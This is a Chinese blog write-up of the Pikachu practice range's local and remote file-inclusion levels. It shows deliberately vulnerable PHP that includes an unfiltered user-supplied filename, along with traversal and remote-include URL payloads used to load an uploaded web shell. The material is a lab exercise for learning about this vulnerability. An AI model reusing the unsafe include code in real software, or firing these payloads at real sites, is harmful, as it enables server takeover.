PIKUCHU靶场之文件包含

一、file inclusion(local)

  1. 实验源码:
  2. <?php
  3. /**
  4. * Created by runner.han
  5. * There is nothing new under the sun
  6. */
  7. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
  8. if ($SELF_PAGE = "fi_local.php"){
  9. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','',
  10. 'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
  11. }
  12. $PIKA_ROOT_DIR = "../../";
  13. include_once $PIKA_ROOT_DIR . 'header.php';
  14. $html='';
  15. if(isset($_GET['submit']) && $_GET['filename']!=null){
  16. $filename=$_GET['filename'];
  17. include "include/$filename";//变量传进来直接包含,没做任何的安全限制
  18. // //安全的写法,使用白名单,严格指定包含的文件名
  19. // if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
  20. // include "include/$filename";
  21. // }
  22. }
  23. ?>
查看站点基本功能

发现能使用选项选择相应的球星名称查看图片
查看源码发现:

使用get请求提交数据
那么我们抓个杜兰特看看

下面send to repeater

发现修改filename的值可以影响server返回的结果
结合文件上传获取shell
//已经将木马放入后台

  1. 构造payloadhttp://127.0.0.1/pkq/vul/fileinclude/fi_local.php?filename=../../taotao.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

成功获得shell

二、file include(remote)

  1. 试验源码:
  2. <?php
  3. /**
  4. * Created by runner.han
  5. * There is nothing new under the sun
  6. */
  7. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
  8. if ($SELF_PAGE = "fi_remote.php"){
  9. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','' 'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
  10. }
  11. $PIKA_ROOT_DIR = "../../";
  12. include_once $PIKA_ROOT_DIR . 'header.php';
  13. $html1='';
  14. if(!ini_get('allow_url_include')){
  15. $html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
  16. }
  17. $html2='';
  18. if(!ini_get('allow_url_fopen')){
  19. $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
  20. }
  21. $html3='';
  22. if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
  23. $html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
  24. }
  25. //远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
  26. $html='';
  27. if(isset($_GET['submit']) && $_GET['filename']!=null){
  28. $filename=$_GET['filename'];
  29. include "$filename";//变量传进来直接包含,没做任何的安全限制
  30. }?>

远程文件包含需要开启 allow_url_include()

给大家欣赏一下answer(在1.8的身高下没人能比他拥有更多的荣耀)

You can have all the talent in the world but if you don't have heart I don't need you stepping on the basketball court.

貌似功能方面和上一关一致
抓包:

发现与上一关类似
既然题目说了是远程文件包含漏洞,那么我们直接用远程包含来实现获得shell
  1. 构造payload
  2. http://127.0.0.1/pkq/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/file/upload/taotao.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
成功获得shell

/*后续会发一篇文件包含bypass总结*/

PIKACHU之文件包含漏洞的更多相关文章

  1. 文件包含漏洞(pikachu)

    文件包含漏洞 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用'包含'函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候,就直接在文 ...

  2. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  3. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  4. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  5. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  6. Nagios Looking Glass 本地文件包含漏洞

    漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...

  7. WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞

    漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...

  8. 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

    题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...

  9. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

随机推荐

  1. microsoft project 出现不能保存为xls文件时可以按照如下方法解决

    工具->选项->安全性

  2. MIUI12.5扫码之后无法连接MIUI+,显示连接失败

    设置-应用设置-应用管理-小米互联通信服务(如果没有找到,进行搜索即可)-清除数据 重新扫码连接就可以连上了 (感觉不怎么样,不知道是不是我网卡,用起来卡卡的...)

  3. 【LeetCode】953. Verifying an Alien Dictionary 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...

  4. 【LeetCode】665. 非递减数列 Non-decreasing Array(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 公众号:每日算法题 本文关键词:数组,array,非递减,遍历,python,C++ 目录 题目描述 题目大意 解题方法 一.错误代码 二.举例分析 ...

  5. 【LeetCode】306. Additive Number 解题报告(Python)

    [LeetCode]306. Additive Number 解题报告(Python) 标签(空格分隔): LeetCode 作者: 负雪明烛 id: fuxuemingzhu 个人博客: http: ...

  6. Chapter 8 Selection Bias

    目录 8.1 The structure of selection bias 8.2 Examples of selection bias 8.3 Selection bias and confoun ...

  7. ImageNet2017文件下载

    ImageNet2017文件下载 文件说明 imagenet_object_localization.tar.gz包含训练集和验证集的图像数据和地面实况,以及测试集的图像数据. 图像注释以PASCAL ...

  8. [python]MergeTxt按列合并同一个文件下多个txt文件

    开发需求:应项目需要,要将记录成txt的实验数据进行按列合并(也即为不同文件上下合并),从而进行机器学习训练. 实验数据类似如此 模拟验证数据 1.txt *****1***** abcdefghij ...

  9. 论文翻译:2020_Acoustic Echo Cancellation by Combining Adaptive Digital Filter and Recurrent Neural Network

    论文地址:https://arxiv.53yu.com/abs/2005.09237 自适应数字滤波与循环神经网络相结合的回声消除技术 摘要 回声消除(AEC)在语音交互中起关键作用.由于明确的数学原 ...

  10. Vue.js高效前端开发 • 【Ant Design of Vue框架基础】

    全部章节 >>>> 文章目录 一.Ant Design of Vue框架 1.Ant Design介绍 2.Ant Design of Vue安装 3.Ant Design o ...